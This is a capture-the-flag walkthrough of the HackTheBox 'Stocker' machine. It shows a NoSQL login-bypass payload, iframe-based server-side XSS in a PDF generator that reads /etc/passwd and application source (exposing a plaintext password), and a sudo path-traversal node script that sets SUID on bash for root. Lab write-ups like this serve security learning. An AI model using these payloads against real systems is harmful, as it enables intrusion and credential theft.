Stocker – HackTheBox Writeup

Machine Name: Stocker
IP: 10.10.11.196
Difficulty: Easy

Summary

Stocker is an easy machine which starts with a subdomain enumeration, and leads to NoSQL injection to bypass a login page. Then, it challenges us to understand the flow of API calls that generate a PDF, which can be exploited to read local files on the server using a Server Side XSS exploit. We find credentials of a user by exploiting the Server Side XSS to read the source code of the application. The privilege escalation involves abusing sudo rights that allow the user to run javascript files as root.

Information Gathering

Nmap scan shows that port 22 (SSH) and port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 webserver. Since the page is redirecting to “http://stocker.htb”, let’s add it to the /etc/hosts file.

On visiting the web server, we find that it is an unfinished e-commerce site. The page does not contain any entry points for us to attack. Before moving on to directory fuzzing, I checked the source code but in vain.

Let us use ffuf for directory fuzzing.

ffuf -u https://stocker.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200 -c -r -sf -o dir_ffuf.txt

Since I didn’t find anything in the directory fuzzing, I tried sub domain enumeration.

ffuf -u http://10.10.11.196 -H "Host: FUZZ.stocker.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

We find the “dev” subdomain. Let us add that to /etc/hosts file and visit the webpage. We are redirected to “/login” page. I tried some dummy credentials such as “admin:admin” but none worked. I also tried simple SQL injections like “‘or 1=1–” but they didn’t work either.

Let us capture the login request and use sqlmap to check for SQL injections.

After saving the request to a file, I passed it to sqlmap.

sqlmap -r stocker.req --level 5 --risk 3 --batch

SQLmap did not return any favorable results either. Then, I tried to check for NoSQL injections.

I changed the content type to “application/json” and used the following NoSQL payload to bypass the authentication.

{"username":{"$ne": ""}, "password": {"$ne":""}}

The application accepts the injection and authenticates us.

If I add an item listed on the application and purchase it, I receive a receipt to view.

I tried to check if the receipt PDF is generated by some tool that might be vulnerable to a public exploit.

exiftool document.pdf

The “Producer” attribute contains the value “Skia/PDF m108” which leads me to this article of Server Side XSS.

The article states that if an application generates a PDF that uses a user controlled input, we can trick the bot into executing arbitrary JS code. Therefore, I tried to use one of the payloads to read a local file.

I captured the request of “purchase order” and changed the title to an iframe payload that read a local file.

<iframe src=file:///etc/passwd></iframe>

Then, I forwarded the request and downloaded the PDF. Voila! The payload works and retrieves the contents of the “/etc/passwd” file in the “Title” field of the product.

To get a better frame of the contents, I increased the size of the iframe.

<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>

And now we can see the complete result of the payload.

We observe the user to be “angoose”.

An interesting behavior of the application is observed when we send a null value in the “id” parameter. The application returns an error which reveals the path where the application is running, “/var/www/dev/”.

With the same knowledge on the path, let us try to read the “index.js” file using the payload we have used previously.

<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>

From the above “index.js” file, we obtain the password “IHeardPassphrasesArePrettySecure”. Let us try to login using this password with “angoose” user through SSH.

ssh angoose@stocker.htb
IHeardPassphrasesArePrettySecure

As always, I checked the sudo rights of the user. The user can run all javascripts stored in “/usr/local/scripts/” using node.

sudo -l

Since the relative path of the script to be run is used in the above sudoers file, we could hijack the path to any path we wish. I’ll first create a javascript file in the home directory containing the following contents.

require('child_process').exec('bash -c "chmod u+s /bin/bash"')

Then I can run the file using the sudo command and use “bash -p” to run bash with privileges to obtain the root shell.

sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/rootme.js

angoose@stocker:~$ bash -p

Pwned!